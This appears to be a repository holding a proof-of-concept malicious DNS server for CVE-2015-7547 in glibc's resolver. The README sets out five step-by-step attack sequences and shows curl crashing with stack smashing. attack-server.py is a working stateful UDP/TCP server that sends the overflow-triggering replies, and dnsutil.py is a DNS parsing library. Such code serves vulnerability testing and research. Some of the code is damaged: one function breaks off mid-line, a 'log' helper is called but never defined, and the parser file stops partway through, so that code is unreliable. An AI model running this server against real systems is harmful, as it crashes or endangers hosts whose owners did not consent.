├── README.md ├── attack-server.py └── dnsutil.py /README.md: -------------------------------------------------------------------------------- 1 | # PoC attack server for CVE-2015-7547 vulnerability in glibc DNS stub resolver 2 | 3 | To test on local machine with a vulnerable glibc version: 4 | 5 | ``` 6 | user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf 7 | user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf 8 | user@localhost:/$ sudo python3 attack-server.py 127.0.0.127 9 | Starting UDP server on 127.0.0.127:53... 10 | Starting TCP server on 127.0.0.127:53... 11 | ``` 12 | 13 | Then, from another terminal session, execute the attacks as shown in the examples below. 14 | 15 | ## Attack 1 (UDP+TCP) 16 | 17 | Needs ability to send replies > 2048 bytes over UDP and TCP. 18 | 19 | Attack Sequence: 20 | 21 | 1. UDP reply, > 2048 bytes, valid header/question, TC flag set (triggers buffer mismanagement and TCP retry) 22 | 23 | 2. TCP reply, valid header/question (forces next reply to be stored in stack-allocated buffer) 24 | 25 | 3. TCP reply, > 2048 bytes (overflows stack-allocated buffer) 26 | 27 | Example: 28 | 29 | ``` 30 | user@localhost:/$ curl http://attack1 31 | *** stack smashing detected ***: curl terminated 32 | Segmentation fault (core dumped) 33 | ``` 34 | 35 | ## Attack 2 (UDP only) 36 | 37 | Needs ability to send replies > 2048 bytes over UDP. 38 | 39 | Attack Sequence: 40 | 41 | 1. UDP reply, > 2048 bytes, invalid header (triggers buffer mismanagement, not counted as a valid response) 42 | 43 | 2. Ignore next request (triggers UDP retry due to polling timeout) 44 | 45 | 3. UDP reply, valid header/question (forces next reply to be stored in stack-allocated buffer) 46 | 47 | 4. UDP reply, > 2048 bytes (overflows stack-allocated buffer) 48 | 49 | Example: 50 | 51 | ``` 52 | user@localhost:/$ curl http://attack2 53 | *** stack smashing detected ***: curl terminated 54 | Segmentation fault (core dumped) 55 | ``` 56 | 57 | ## Attack 3 (UDP+TCP) 58 | 59 | Needs ability to send replies > 1024 bytes over UDP and > 2048 bytes over TCP. 60 | 61 | Attack Sequence: 62 | 63 | 1. UDP reply, 1024 bytes, valid header/question (fills up half of the stack-allocated buffer) 64 | 65 | 2. UDP reply, > 1024 bytes, valid header/question, TC flag set (triggers buffer mismanagement and TCP retry) 66 | 67 | 3. TCP reply, valid header/question (forces next reply to be stored in stack-allocated buffer) 68 | 69 | 4. TCP reply, > 2048 bytes (overflows stack-allocated buffer) 70 | 71 | Example: 72 | 73 | ``` 74 | user@localhost:/$ curl http://attack3 75 | *** stack smashing detected ***: curl terminated 76 | Segmentation fault (core dumped) 77 | ``` 78 | 79 | ## Attack 4 (UDP only) 80 | 81 | Needs ability to send replies > 2048 bytes over UDP. 82 | 83 | Attack Sequence: 84 | 85 | 1. UDP reply, 2048 bytes, valid header/question (fills up the stack-allocated buffer) 86 | 87 | 2. UDP reply (triggers buffer mismanagement and UDP retry due to 0-byte socket receive) 88 | 89 | 3. UDP reply, valid header/question (forces next reply to be stored in stack-allocated buffer) 90 | 91 | 4. UDP reply, > 2048 bytes (overflows stack-allocated buffer) 92 | 93 | Example: 94 | 95 | ``` 96 | user@localhost:/$ curl http://attack4 97 | *** stack smashing detected ***: curl terminated 98 | Segmentation fault (core dumped) 99 | ``` 100 | 101 | ## Attack 5 (TCP only) 102 | 103 | Needs ability to send replies > 2048 bytes over TCP and at least two nameserver entries in `/etc/resolv.conf`. 104 | 105 | Attack Sequence: 106 | 107 | 0. UDP reply, valid header/question, TC flag set (optional, triggers TCP retry if initial query is over UDP) 108 | 109 | 1. TCP reply, > 2048 bytes (triggers buffer mismanagement) 110 | 111 | 2. TCP reply, empty (triggers TCP retry due to 0-byte socket receive) 112 | 113 | 3. TCP reply, valid header/question (forces next reply to be stored in stack-allocated buffer) 114 | 115 | 4. TCP reply, > 2048 bytes (overflows stack-allocated buffer) 116 | 117 | Example: 118 | 119 | ``` 120 | user@localhost:/$ curl http://attack5 121 | *** stack smashing detected ***: curl terminated 122 | Segmentation fault (core dumped) 123 | ``` 124 | 125 | ## Payload Tests 126 | 127 | To trigger a valid type A/AAAA reply of a certain size from the server, send a request for one of the following: 128 | 129 | * payload1 (> 64 bytes) 130 | * payload2 (> 128 bytes) 131 | * payload3 (> 256 bytes) 132 | * payload4 (> 512 bytes) 133 | * payload5 (> 1024 bytes) 134 | * payload6 (> 2048 bytes) 135 | * payload7 (> 4096 bytes) 136 | * payload8 (> 8192 bytes) 137 | 138 | The requests can be issued over UDP or TCP, and the responses will contain the appropriate number of valid A or AAAA answers to pad the reply to the requested size. When the PoC server is set up as the authoritative name server for a test domain, this allows for exploring the behaviour of DNS cache hierarchies when faced with oversized replies. 139 | 140 | Example: 141 | 142 | ``` 143 | user@localhost:/$ curl http://payload1.somedomain.com 144 | ``` 145 | 146 | -------------------------------------------------------------------------------- /attack-server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import struct 5 | import threading 6 | import time 7 | import sys 8 | 9 | from dnsutil import DNSParser, DNSMessage, DNSHeader, DNSQuestion, DNSRR, DNSFlags 10 | 11 | HOST="" 12 | PORT=53 13 | 14 | 15 | def dw(v): 16 | return struct.pack("!H", v) 17 | 18 | def dd(v): 19 | return struct.pack("!L", v) 20 | 21 | def stackptr(v): 22 | return struct.pack(" 2048 bytes with valid header/question and TC flag set""" 34 | flags = DNSFlags(request.header.flags.flags_int()) 35 | flags.set(["QR", "AA", "TC"]) 36 | 37 | question = request.questions[0] 38 | 39 | header = DNSHeader(request.header.ID, flags, 1, 0, 0, 0) 40 | return header.bytes() + question.bytes() + b"\x42" * 2048 41 | 42 | 43 | def valid_over2k(request): 44 | """Sends a reply > 2048 bytes with valid header/question""" 45 | flags = DNSFlags(request.header.flags.flags_int()) 46 | flags.set(["QR", "AA"]) 47 | 48 | question = request.questions[0] 49 | 50 | header = DNSHeader(request.header.ID, flags, 1, 0, 0, 0) 51 | return header.bytes() + question.bytes() + b"\x42" * 2048 52 | 53 | 54 | def truncated_over1k(request): 55 | """Sends a reply > 1024 bytes (but less than 2048 bytes) with valid header/question and TC flag set""" 56 | flags = DNSFlags(request.header.flags.flags_int()) 57 | flags.set(["QR", "AA", "TC"]) 58 | 59 | question = request.questions[0] 60 | 61 | header = DNSHeader(request.header.ID, flags, 1, 0, 0, 0) 62 | return header.bytes() + question.bytes() + b"\x42" * 1024 63 | 64 | 65 | def valid_exact2k(request): 66 | """Sends a reply exactly 2048 bytes long with valid header/question""" 67 | flags = DNSFlags(request.header.flags.flags_int()) 68 | flags.set(["QR", "AA"]) 69 | 70 | question = request.questions[0] 71 | 72 | header = DNSHeader(request.header.ID, flags, 1, 0, 0, 0) 73 | padlen = 2048 - len(header.bytes()) - len(question.bytes()) 74 | return header.bytes() + question.bytes() + b"\x42" * padlen 75 | 76 | 77 | def valid_exact1k(request): 78 | """Sends a reply exactly 1024 bytes long with valid header/question""" 79 | flags = DNSFlags(request.header.flags.flags_int()) 80 | flags.set(["QR", "AA"]) 81 | 82 | question = request.questions[0] 83 | 84 | header = DNSHeader(request.header.ID, flags, 1, 0, 0, 0) 85 | padlen = 1024 - len(header.bytes()) - len(question.bytes()) 86 | return header.bytes() + question.bytes() + b"\x42" * padlen 87 | 88 | 89 | def invalid_over2k(request): 90 | """Sends a reply > 2048 bytes with invalid ID""" 91 | flags = DNSFlags(request.header.flags.flags_int()) 92 | flags.set(["QR", "AA"]) 93 | 94 | question = request.questions[0] 95 | 96 | header = DNSHeader(0x0000, flags, 1, 0, 0, 0) 97 | return header.bytes() + question.bytes() + b"\x42" * 2048 98 | 99 | 100 | def payload_size(request, size): 101 | """Send a reply with a valid payload of specified length""" 102 | flags = DNSFlags(request.header.flags.flags_int()) 103 | flags.set(["QR", "AA"]) 104 | 105 | question = request.questions[0] 106 | rtype = question.qtype 107 | 108 | if rtype == 28: 109 | answer = dw(0xc00c) + dw(rtype) + dw(1) + dd(0) + dw(16) + b"\x42" * 16 110 | elif rtype == 1: 111 | answer = dw(0xc00c) + dw(rtype) + dw(1) + dd(0) + dw(4) + b"\x42" * 4 112 | 113 | ancount = 1 + size // len(answer) 114 | 115 | header = DNSHeader(request.header.ID, flags, 1, ancount, 0, 0) 116 | return header.bytes() + question.bytes() + b"".join([answer[:-2] + dw(i) for i in range(ancount)]) 117 | 118 | 119 | 120 | def udp_server(): 121 | """UDP request handler""" 122 | 123 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 124 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 125 | sock.bind((HOST, PORT)) 126 | 127 | attack2_state = {} 128 | attack3_state = {} 129 | attack4_state = {} 130 | 131 | while True: 132 | data, addr = sock.recvfrom(1024) 133 | log("[UDP] Datagram from {}:{}".format(*addr)) 134 | 135 | # Parse DNS request 136 | try: 137 | tmp, request = DNSParser.parse_message(data) 138 | log("[UDP] {} bytes in: {}".format(len(data), request.header)) 139 | except Exception as e: 140 | log("DNSParser error: {}".format(e)) 141 | continue 142 | 143 | # Ensure we have a valid question 144 | if not request.questions or not request.questions[0].labels: 145 | continue 146 | 147 | # Execute selected attack 148 | attack = request.questions[0].labels[0].decode("ascii") 149 | if attack == "attack1": 150 | if request.questions[0].qtype == 1: 151 | log("[attack1] Sending truncated UDP reply to {}:{}".format(*addr)) 152 | data = truncated_over2k(request) 153 | sock.sendto(data, addr) 154 | elif attack == "attack2": 155 | state = attack2_state.get(addr[0], 0) 156 | if state == 0: 157 | log("[attack2] Sending invalid reply to first UDP request from {}:{}".format(*addr)) 158 | data = invalid_over2k(request) 159 | sock.sendto(data, addr) 160 | attack2_state[addr[0]] = 1 161 | if state == 1: 162 | log("[attack2] Ignoring second UDP request from {}:{}".format(*addr)) 163 | attack2_state[addr[0]] = 2 164 | if state == 2: 165 | log("[attack2] Sending UDP reply to first retry request from {}:{}".format(*addr)) 166 | data = valid_over2k(request) 167 | sock.sendto(data, addr) 168 | attack2_state[addr[0]] = 3 169 | if state == 3: 170 | log("[attack2] Sending UDP reply to second retry request from {}:{}".format(*addr)) 171 | data = valid_over2k(request) 172 | sock.sendto(data, addr) 173 | attack2_state.pop(addr[0], None) 174 | elif attack == "attack3": 175 | state = attack3_state.get(addr[0], 0) 176 | if state == 0: 177 | log("[attack3] Sending 1024-byte reply to first UDP request from {}:{}".format(*addr)) 178 | data = valid_exact1k(request) 179 | sock.sendto(data, addr) 180 | attack3_state[addr[0]] = 1 181 | if state == 1: 182 | log("[attack3] Sending truncated > 1024-byte reply to second UDP request from {}:{}".format(*addr)) 183 | data = truncated_over1k(request) 184 | sock.sendto(data, addr) 185 | attack3_state.pop(addr[0], None) 186 | elif attack == "attack4": 187 | state = attack4_state.get(addr[0], 0) 188 | if state == 0: 189 | log("[attack4] Sending 2048-byte reply to first UDP request from {}:{}".format(*addr)) 190 | data = valid_exact2k(request) 191 | sock.sendto(data, addr) 192 | attack4_state[addr[0]] = 1 193 | if state == 1: 194 | log("[attack4] Sending 1024-byte reply to second UDP request from {}:{}".format(*addr)) 195 | data = valid_exact1k(request) 196 | sock.sendto(data, addr) 197 | attack4_state[addr[0]] = 2 198 | if state == 2: 199 | log("[attack4] Sending UDP reply to first retry request from {}:{}".format(*addr)) 200 | data = valid_over2k(request) 201 | sock.sendto(data, addr) 202 | attack4_state[addr[0]] = 3 203 | if state == 3: 204 | log("[attack4] Sending UDP reply to second retry request from {}:{}".format(*addr)) 205 | data = valid_over2k(request) 206 | sock.sendto(data, addr) 207 | attack4_state.pop(addr[0], None) 208 | elif attack == "attack5": 209 | if request.questions[0].qtype == 1: 210 | log("[attack5] Sending truncated UDP reply to {}:{}".format(*addr)) 211 | data = truncated_over1k(request) 212 | sock.sendto(data, addr) 213 | elif attack == "payload1": 214 | log("[payload1] Sending UDP reply with > 64-byte valid payload to {}:{}".format(*addr)) 215 | data = payload_size(request, 64) 216 | sock.sendto(data, addr) 217 | elif attack == "payload2": 218 | log("[payload2] Sending UDP reply with > 128-byte valid payload to {}:{}".format(*addr)) 219 | data = payload_size(request, 128) 220 | sock.sendto(data, addr) 221 | elif attack == "payload3": 222 | log("[payload3] Sending UDP reply with > 256-byte valid payload to {}:{}".format(*addr)) 223 | data = payload_size(request, 256) 224 | sock.sendto(data, addr) 225 | elif attack == "payload4": 226 | log("[payload4] Sending UDP reply with > 512-byte valid payload to {}:{}".format(*addr)) 227 | data = payload_size(request, 512) 228 | sock.sendto(data, addr) 229 | elif attack == "payload5": 230 | log("[payload5] Sending UDP reply with > 1024-byte valid payload to {}:{}".format(*addr)) 231 | data = payload_size(request, 1024) 232 | sock.sendto(data, addr) 233 | elif attack == "payload6": 234 | log("[payload6] Sending UDP reply with > 2048-byte valid payload to {}:{}".format(*addr)) 235 | data = payload_size(request, 2048) 236 | sock.sendto(data, addr) 237 | elif attack == "payload7": 238 | log("[payload7] Sending UDP reply with > 4096-byte valid payload to {}:{}".format(*addr)) 239 | data = payload_size(request, 4096) 240 | sock.sendto(data, addr) 241 | elif attack == "payload8": 242 | log("[payload8] Sending UDP reply with > 8192-byte valid payload to {}:{}".format(*addr)) 243 | data = payload_size(request, 8192) 244 | sock.sendto(data, addr) 245 | 246 | 247 | def tcp_server(): 248 | """TCP request handler""" 249 | 250 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 251 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 252 | sock.bind((HOST, PORT)) 253 | sock.listen(10) 254 | 255 | attack5_state = {} 256 | 257 | while True: 258 | conn, addr = sock.accept() 259 | log("[TCP] Connection from {}:{}".format(*addr)) 260 | 261 | while True: 262 | # Read message length 263 | try: 264 | msglen = struct.unpack("!H", conn.recv(2))[0] 265 | data = conn.recv(msglen) 266 | except: 267 | log("[TCP] Disconnected from {}:{}".format(*addr)) 268 | break 269 | 270 | # Parse DNS request header 271 | tmp, request = DNSParser.parse_message(data) 272 | log("[TCP] {} bytes in: {}".format(len(data), request.header)) 273 | 274 | if not request.questions or not request.questions[0].labels: 275 | continue 276 | 277 | # Execute selected attack 278 | attack = request.questions[0].labels[0].decode("ascii") 279 | if attack == "attack1": 280 | log("[attack1] Sending > 2048-byte TCP reply to {}:{}".format(*addr)) 281 | data = valid_over2k(request) 282 | conn.sendall(dw(len(data)) + data) 283 | elif attack == "attack3": 284 | log("[attack3] Sending > 2048-byte TCP reply to {}:{}".format(*addr)) 285 | data = valid_over2k(request) 286 | conn.sendall(dw(len(data)) + data) 287 | elif attack == "attack5": 288 | state = attack5_state.get(addr[0], 0) 289 | if state == 0: 290 | log("[attack5] Sending reply to first TCP request from {}:{}".format(*addr)) 291 | data = valid_over2k(request) 292 | conn.sendall(dw(len(data)) + data) 293 | attack5_state[addr[0]] = 1 294 | if state == 1: 295 | log("[attack5] Sending empty reply to second TCP request from {}:{}".format(*addr)) 296 | conn.sendall(dw(0)) 297 | attack5_state[addr[0]] = 2 298 | if state == 2: 299 | log("[attack5] Sending TCP reply to first retry request from {}:{}".format(*addr)) 300 | data = valid_over2k(request) 301 | conn.sendall(dw(len(data)) + data) 302 | attack5_state[addr[0]] = 3 303 | if state == 3: 304 | log("[attack5] Sending TCP reply to second retry request from {}:{}".format(*addr)) 305 | data = valid_over2k(request) 306 | conn.sendall(dw(len(data)) + data) 307 | attack5_state.pop(addr[0], None) 308 | elif attack == "payload1": 309 | log("[payload1] Sending TCP reply with > 64-byte valid payload to {}:{}".format(*addr)) 310 | data = payload_size(request, 64) 311 | conn.sendall(dw(len(data)) + data) 312 | elif attack == "payload2": 313 | log("[payload2] Sending TCP reply with > 128-byte valid payload to {}:{}".format(*addr)) 314 | data = payload_size(request, 128) 315 | conn.sendall(dw(len(data)) + data) 316 | elif attack == "payload3": 317 | log("[payload3] Sending TCP reply with > 256-byte valid payload to {}:{}".format(*addr)) 318 | data = payload_size(request, 256) 319 | conn.sendall(dw(len(data)) + data) 320 | elif attack == "payload4": 321 | log("[payload4] Sending TCP reply with > 512-byte valid payload to {}:{}".format(*addr)) 322 | data = payload_size(request, 512) 323 | conn.sendall(dw(len(data)) + data) 324 | elif attack == "payload5": 325 | log("[payload5] Sending TCP reply with > 1024-byte valid payload to {}:{}".format(*addr)) 326 | data = payload_size(request, 1024) 327 | conn.sendall(dw(len(data)) + data) 328 | elif attack == "payload6": 329 | log("[payload6] Sending TCP reply with > 2048-byte valid payload to {}:{}".format(*addr)) 330 | data = payload_size(request, 2048) 331 | conn.sendall(dw(len(data)) + data) 332 | elif attack == "payload7": 333 | log("[payload7] Sending TCP reply with > 4096-byte valid payload to {}:{}".format(*addr)) 334 | data = payload_size(request, 4096) 335 | conn.sendall(dw(len(data)) + data) 336 | elif attack == "payload8": 337 | log("[payload8] Sending TCP reply with > 8192-byte valid payload to {}:{}".format(*addr)) 338 | data = payload_size(request, 8192) 339 | conn.sendall(dw(len(data)) + data) 340 | 341 | 342 | if __name__ == "__main__": 343 | 344 | if len(sys.argv) > 1: 345 | HOST = sys.argv[1] 346 | 347 | if len(sys.argv) > 2: 348 | PORT = sys.argv[2] 349 | 350 | udp_thread = None 351 | tcp_thread = None 352 | 353 | while True: 354 | if not udp_thread or not udp_thread.is_alive(): 355 | log("Starting UDP server on {}:{}...".format(HOST or "*", PORT)) 356 | udp_thread = threading.Thread(target=udp_server) 357 | udp_thread.daemon = True 358 | udp_thread.start() 359 | 360 | if not tcp_thread or not tcp_thread.is_alive(): 361 | log("Starting TCP server on {}:{}...".format(HOST or "*", PORT)) 362 | tcp_thread = threading.Thread(target=tcp_server) 363 | tcp_thread.daemon = True 364 | tcp_thread.start() 365 | 366 | time.sleep(5) 367 | 368 | -------------------------------------------------------------------------------- /dnsutil.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import struct 4 | 5 | FLAGS = { "QR" : 0x8000, 6 | "AA" : 0x0400, 7 | "TC" : 0x0200, 8 | "RD" : 0x0100, 9 | "RA" : 0x0080, 10 | "Z" : 0x0040, 11 | "AD" : 0x0020, 12 | "CD" : 0x0010 } 13 | 14 | OPCODE = { "QUERY" : 0, 15 | "IQUERY" : 1, 16 | "STATUS" : 2, 17 | "NOTIFY" : 4, 18 | "UPDATE" : 5 } 19 | 20 | OPCODE_STR = { 0 : "QUERY", 21 | 1 : "IQUERY", 22 | 2 : "STATUS", 23 | 4 : "NOTIFY", 24 | 5 : "UPDATE" } 25 | 26 | RCODE = { "NOERROR" : 0, 27 | "FORMERR" : 1, 28 | "SERVFAIL" : 2, 29 | "NXDOMAIN" : 3, 30 | "NOTIMP" : 4, 31 | "REFUSED" : 5, 32 | "YXDOMAIN" : 6, 33 | "XRRSET" : 7, 34 | "NOTAUTH" : 8, 35 | "NOTZONE" : 9 } 36 | 37 | RCODE_STR = { 0 : "NOERROR", 38 | 1 : "FORMERR", 39 | 2 : "SERVFAIL", 40 | 3 : "NXDOMAIN", 41 | 4 : "NOTIMP", 42 | 5 : "REFUSED", 43 | 6 : "YXDOMAIN", 44 | 7 : "XRRSET", 45 | 8 : "NOTAUTH", 46 | 9 : "NOTZONE" } 47 | 48 | TYPE = { "A" : 1, 49 | "NS" : 2, 50 | "CNAME" : 5, 51 | "SOA" : 6, 52 | "NULL" : 10, 53 | "PTR" : 12, 54 | "MX" : 15, 55 | "TXT" : 16, 56 | "AAAA" : 28, 57 | "OPT" : 41 } 58 | 59 | TYPE_STR = { 1 : "A", 60 | 2 : "NS", 61 | 5 : "CNAME", 62 | 6 : "SOA", 63 | 10 : "NULL", 64 | 12 : "PTR", 65 | 15 : "MX", 66 | 16 : "TXT", 67 | 28 : "AAAA", 68 | 41 : "OPT" } 69 | 70 | CLASS = { "IN" : 1 } 71 | 72 | CLASS_STR = { 1 : "IN" } 73 | 74 | 75 | def listify(p): 76 | return [p] if isinstance(p, str) else p 77 | 78 | 79 | class DNSValueError(Exception): 80 | pass 81 | 82 | class DNSParseError(Exception): 83 | pass 84 | 85 | 86 | class DNSFlags(object): 87 | 88 | @staticmethod 89 | def from_bytes(data): 90 | """Converts a sequence of network-ordered bytes into a DNSFlags object""" 91 | if len(data) < 2: 92 | raise DNSParseError("Not enough data to parse flags") 93 | 94 | return DNSFlags(*struct.unpack("!H", data)) 95 | 96 | def __init__(self, flags = 0): 97 | """Constructs a DNSFlags instance""" 98 | self.flags = flags 99 | 100 | if flags & FLAGS["Z"]: 101 | raise DNSValueError("Reserved flag not zero") 102 | 103 | if self.opcode() not in OPCODE_STR: 104 | raise DNSValueError("Invalid opcode value") 105 | 106 | if self.rcode() not in RCODE_STR: 107 | raise DNSValueError("Invalid rcode value") 108 | 109 | def bytes(self): 110 | """Converts a DNSFlags object into a sequence of network-ordered bytes""" 111 | return struct.pack("!H", self.flags) 112 | 113 | def set(self, flags): 114 | """Sets one or more flags""" 115 | for f in listify(flags): 116 | self.flags |= FLAGS.get(f, 0) 117 | 118 | def clear(self, flags): 119 | """Clears one or more flags""" 120 | for f in listify(flags): 121 | self.flags &= ~FLAGS.get(f, 0) 122 | 123 | def set_opcode(self, opcode): 124 | """Sets the OPCODE field""" 125 | self.flags &= ~(0b1111 << 11) 126 | self.flags |= OPCODE.get(opcode, 0) << 11 127 | 128 | def opcode(self): 129 | """Returns the OPCODE value""" 130 | return (self.flags >> 11) & 0b1111 131 | 132 | def opcode_str(self): 133 | """Return the OPCODE string""" 134 | return OPCODE_STR.get(self.opcode(), "?") 135 | 136 | def set_rcode(self, rcode): 137 | """Sets the RCODE field""" 138 | self.flags &= ~0b1111 139 | self.flags |= RCODE.get(rcode, 0) 140 | 141 | def rcode(self): 142 | """Returns the RCODE value""" 143 | return self.flags & 0b1111 144 | 145 | def rcode_str(self): 146 | """Returns the RCODE string""" 147 | return RCODE_STR.get(self.rcode(), "?") 148 | 149 | def flags_int(self): 150 | """Returns the entire flags field as an integer""" 151 | return self.flags 152 | 153 | def flags_str(self): 154 | """Pretty-prints the flags""" 155 | flags = [f for f in FLAGS if self.flags & FLAGS[f]] 156 | return "[{}]".format(" ".join(flags)) 157 | 158 | 159 | class DNSHeader(object): 160 | 161 | @staticmethod 162 | def from_bytes(data): 163 | """Converts a sequence of network-ordered bytes into a DNSHeader object""" 164 | if len(data) < 12: 165 | raise DNSParseError("Not enough data to parse header") 166 | 167 | return DNSHeader(*struct.unpack("!HHHHHH", data)) 168 | 169 | def __init__(self, ID, flags, qdcount, ancount, nscount, arcount): 170 | """Constructs a DNSHeader instance""" 171 | self.ID = ID 172 | if isinstance(flags, DNSFlags): 173 | self.flags = flags 174 | else: 175 | self.flags = DNSFlags(flags) 176 | self.qdcount = qdcount 177 | self.ancount = ancount 178 | self.nscount = nscount 179 | self.arcount = arcount 180 | 181 | def bytes(self): 182 | """Converts a DNSHeader object into a sequence of network-ordered bytes""" 183 | return struct.pack("!HHHHHH", self.ID, self.flags.flags_int(), self.qdcount, 184 | self.ancount, self.nscount, self.arcount) 185 | 186 | def __str__(self): 187 | """Pretty-prints the header""" 188 | return "ID {} {} {} {} QD {} AN {} NS {} AR {}".format(hex(self.ID), 189 | self.flags.opcode_str(), 190 | self.flags.flags_str(), 191 | self.flags.rcode_str(), 192 | self.qdcount, self.ancount, 193 | self.nscount, self.arcount) 194 | 195 | def __repr__(self): 196 | return self.__str__() 197 | 198 | 199 | class DNSQuestion(object): 200 | 201 | def __init__(self, labels, qtype, qclass): 202 | """Constructs a DNSQuestion instance""" 203 | self.labels = labels 204 | self.qtype = qtype 205 | self.qclass = qclass 206 | 207 | def bytes(self): 208 | """Converts a DNSQuestion object into a sequence of network-ordered bytes""" 209 | return (b"".join([bytes([len(a)]) + a for a in self.labels]) + b"\x00" + 210 | struct.pack("!HH", self.qtype, self.qclass)) 211 | 212 | def __str__(self): 213 | """Pretty-prints the question""" 214 | return "{} {} {}".format(CLASS_STR.get(self.qclass, self.qclass), 215 | TYPE_STR.get(self.qtype, self.qtype), 216 | ".".join([a.decode("ascii") for a in self.labels])) 217 | 218 | def __repr__(self): 219 | return self.__str__() 220 | 221 | 222 | class DNSRR(object): 223 | 224 | def __init__(self, labels, rtype, rclass, ttl, rdlength, rdata): 225 | """Constructs a DNSRR instance""" 226 | self.labels = labels 227 | self.rtype = rtype 228 | self.rclass = rclass 229 | self.ttl = ttl 230 | self.rdlength = rdlength 231 | self.rdata = rdata 232 | 233 | def bytes(self): 234 | """Converts a DNSRR object into a sequence of network-ordered bytes""" 235 | if self.rtype == 2 or self.rtype == 5 or self.rtype == 12: 236 | rdata = b"".join([bytes([len(a)]) + a for a in self.rdata]) + b"\x00" 237 | elif self.rtype == 15: 238 | rdata = (struct.pack("!H", self.rdata[0]) + 239 | b"".join([bytes([len(a)]) + a for a in self.rdata[1]]) + b"\x00") 240 | else: 241 | rdata = self.rdata 242 | 243 | return (b"".join([bytes([len(a)]) + a for a in self.labels]) + b"\x00" + 244 | struct.pack("!HHLH", self.rtype, self.rclass, self.ttl, len(rdata)) + 245 | rdata) 246 | 247 | def __str__(self): 248 | """Pretty-prints the RR""" 249 | rname = ".".join([a.decode("ascii") for a in self.labels]) 250 | rtype = TYPE_STR.get(self.rtype, self.rtype) 251 | rclass = CLASS_STR.get(self.rclass, self.rclass) 252 | rttl = self.ttl 253 | rdlength = self.rdlength 254 | 255 | if rtype == "A": 256 | if rdlength == 4: 257 | rdata = ".".join([str(self.rdata[i]) for i in range(4)]) 258 | else: 259 | rdata = "?" 260 | 261 | return "{} {} {} {} [{}] {}".format(rclass, rtype, rname, rttl, rdlength, rdata) 262 | 263 | if rtype == "AAAA": 264 | if rdlength == 16: 265 | rdata = ":".join(["{:02x}".format(self.rdata[i]) for i in range(16)]) 266 | else: 267 | rdata = "?" 268 | 269 | return "{} {} {} {} [{}] {}".format(rclass, rtype, rname, rttl, rdlength, rdata) 270 | 271 | if rtype == "NS" or rtype == "CNAME" or rtype == "PTR": 272 | rdata = ".".join([a.decode("ascii") for a in self.rdata]) 273 | 274 | return "{} {} {} {} [{}] {}".format(rclass, rtype, rname, rttl, rdlength, rdata) 275 | 276 | if rtype == "MX": 277 | mxpri = self.rdata[0] 278 | mxname = ".".join([a.decode("ascii") for a in self.rdata[1]]) 279 | 280 | return "{} {} {} {} [{}] ({}) {}".format(rclass, rtype, rname, rttl, rdlength, mxpri, mxname) 281 | 282 | if rtype == "OPT": 283 | udpmax = self.rclass 284 | 285 | return "{} UDP MAX {}".format(rtype, udpmax) 286 | 287 | # Default output format 288 | return "{} {} {} {} [{}]".format(rclass, rtype, rname, rttl, rdlength) 289 | 290 | 291 | def __repr__(self): 292 | return self.__str__() 293 | 294 | 295 | class DNSMessage(object): 296 | 297 | def __init__(self, header, questions, answers, authorities, additionals): 298 | """Constructs a DNSMessage instance""" 299 | self.header = header 300 | self.questions = questions 301 | self.answers = answers 302 | self.authorities = authorities 303 | self.additionals = additionals 304 | 305 | def bytes(self): 306 | """Converts a DNSMessage object into a sequence of network-ordered bytes""" 307 | return (self.header.bytes() + 308 | b"".join([q.bytes() for q in self.questions]) + 309 | b"".join([a.bytes() for a in self.answers]) + 310 | b"".join([a.bytes() for a in self.authorities]) + 311 | b"".join([a.bytes() for a in self.additionals])) 312 | 313 | def __str__(self): 314 | """Pretty-prints the message""" 315 | output = str(self.header) 316 | 317 | if self.questions: 318 | output += "\n QUESTIONS:\n " + "\n ".join([str(q) for q in self.questions]) 319 | if self.answers: 320 | output += "\n ANSWERS:\n " + "\n ".join([str(a) for a in self.answers]) 321 | if self.authorities: 322 | output += "\n AUTHORITY:\n " + "\n ".join([str(a) for a in self.authorities]) 323 | if self.additionals: 324 | output += "\n ADDITIONAL:\n " + "\n ".join([str(a) for a in self.additionals]) 325 | return output 326 | 327 | def __repr__(self): 328 | return self.__str__() 329 | 330 | 331 | class DNSParser(object): 332 | 333 | @staticmethod 334 | def parse_label(data): 335 | """Parse an uncompressed label""" 336 | if len(data) < 1 or len(data) < data[0] + 1: 337 | raise DNSParseError("Not enough data to parse label") 338 | 339 | if data[0] > 63: 340 | raise DNSParseError("Label exceeds maximum allowed length") 341 | 342 | return data[0] + 1, data[1 : data[0] + 1] 343 | 344 | @staticmethod 345 | def parse_pointer(data): 346 | """Parse a label pointer""" 347 | if len(data) < 2: 348 | raise DNSParseError("Not enough data to parse label pointer") 349 | 350 | return 2, struct.unpack("!H", data[0:2])[0] & ~0xc000 351 | 352 | @staticmethod 353 | def parse_name(data, fulldata): 354 | """Parse a set of labels and label pointers""" 355 | if len(data) < 1: 356 | raise DNSParseError("Not enough data to parse name") 357 | 358 | labels = [] 359 | pos = 0 360 | pointer = False 361 | 362 | while data[pos] != 0: 363 | if data[pos] >= 0xc0: 364 | # Parse label pointer 365 | pointer = True 366 | add, offset = DNSParser.parse_pointer(data[pos:]) 367 | tmp, label = DNSParser.parse_label(fulldata[offset:]) 368 | labels.append(label) 369 | pos += add 370 | break 371 | else: 372 | # Parse label 373 | add, label = DNSParser.parse_label(data[pos:]) 374 | labels.append(label) 375 | pos += add 376 | 377 | if len(data) <= pos: 378 | raise DNSParseError("Not enough data to parse name") 379 | 380 | if not pointer: 381 | pos += 1 382 | 383 | return pos, labels 384 | 385 | @staticmethod 386 | def parse_question(data, fulldata): 387 | """Parse a question""" 388 | pos, labels = DNSParser.parse_name(data, fulldata) 389 | 390 | if len(data) < pos + 4: 391 | raise DNSParseError("Not enough data to parse question") 392 | 393 | qtype, qclass = struct.unpack("!HH", data[pos : pos + 4]) 394 | 395 | return pos + 4, DNSQuestion(labels, qtype, qclass) 396 | 397 | @staticmethod 398 | def parse_rr(data, fulldata): 399 | """Parse a resource record""" 400 | pos, labels = DNSParser.parse_name(data, fulldata) 401 | 402 | if len(data) < pos + 10: 403 | raise DNSParseError("Not enough data to parse resource record") 404 | 405 | rtype, 